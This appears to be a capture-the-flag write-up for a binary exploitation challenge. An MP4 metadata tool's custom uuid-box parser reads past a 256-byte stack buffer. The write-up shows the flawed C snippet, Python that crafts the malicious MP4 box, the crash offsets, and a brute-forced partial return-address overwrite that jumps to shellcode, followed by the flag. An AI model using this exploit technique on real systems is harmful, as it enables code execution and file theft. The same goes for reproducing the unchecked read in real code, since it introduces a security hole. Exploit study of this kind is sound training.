Skip to content

dalctf 2026

Video Killed the PWN Star

Pwn challenge from DALCTF 2026.

Challenge Description:

My friend Elias is ceaseless watching videos on his phone! So much so that he built a little tool for checking their metadata. What could go wrong?

weird chall name

Here is what we got:

Web app lets you upload an MP4, runs a custom C binary.

It gets extracted via libavformat, but always says "No vendor metadata found". ngl I wasted ages trying every possible metadata field — ©ven, vndr, ffprobe format tags, exiftool -Vendor — none of them triggered it. So I saw the binary. The binary has its own parser parse_uuid_raw() that scans for a uuid box with hardcoded UUID DALCTF2026 so I found this:

parse_uuid_raw() snippet

char uuid_buffer[256];
uint32_t data_len = box_size - 24;  
fread(uuid_buffer, 1, data_len, fp);

Appended a uuid box to trigger it:

exploit_setup.py

UUID = bytes([0x44,0x41,0x4c,0x43,0x54,0x46,0x32,0x30,
              0x32,0x36,0x00,0x01,0x00,0x00,0x00,0x00])
payload = b'VENDORTEST'
box = struct.pack('>I', 24+len(payload)) + b'uuid' + UUID + payload
mp4 = open('base.mp4','rb').read() + box

Tested the overflow boundary:

stack crash check

size=272: thankyou=True,  complete=True    ← OK
size=280: thankyou=False, complete=False   ← CRASH, return address overwritten

No canary. From the disassembly: uuid_buffer at rbp-0x110, saved RBP at offset 272, return address at offset 280.

Right before leave; ret the binary does lea rax, [uuid_buffer] — so rax points to our buffer at return time. Stack is executable. Put open/read/write shellcode for /flag.txt at the start of the buffer (68 bytes), padded to 280, then 2-byte partial overwrite of return address scanning for a call rax gadget:

overwrite_brute.py

for target in range(0x1000, 0x1200):
    payload = shellcode + b'' * (280 - len(shellcode))
    payload += struct.pack('<H', target)
    # upload, check for flag

Btw the 2-byte overwrite doesn't need ASLR brute-force — original return and target share the same 4th nibble so page randomization doesn't matter.

0x100f (call rax) hit:

Flag

dalctf{s0rry_f0r_th3_d3c3pt10n}

Discussion

Loading discussion…

Related solves

Keep reading

Complete archive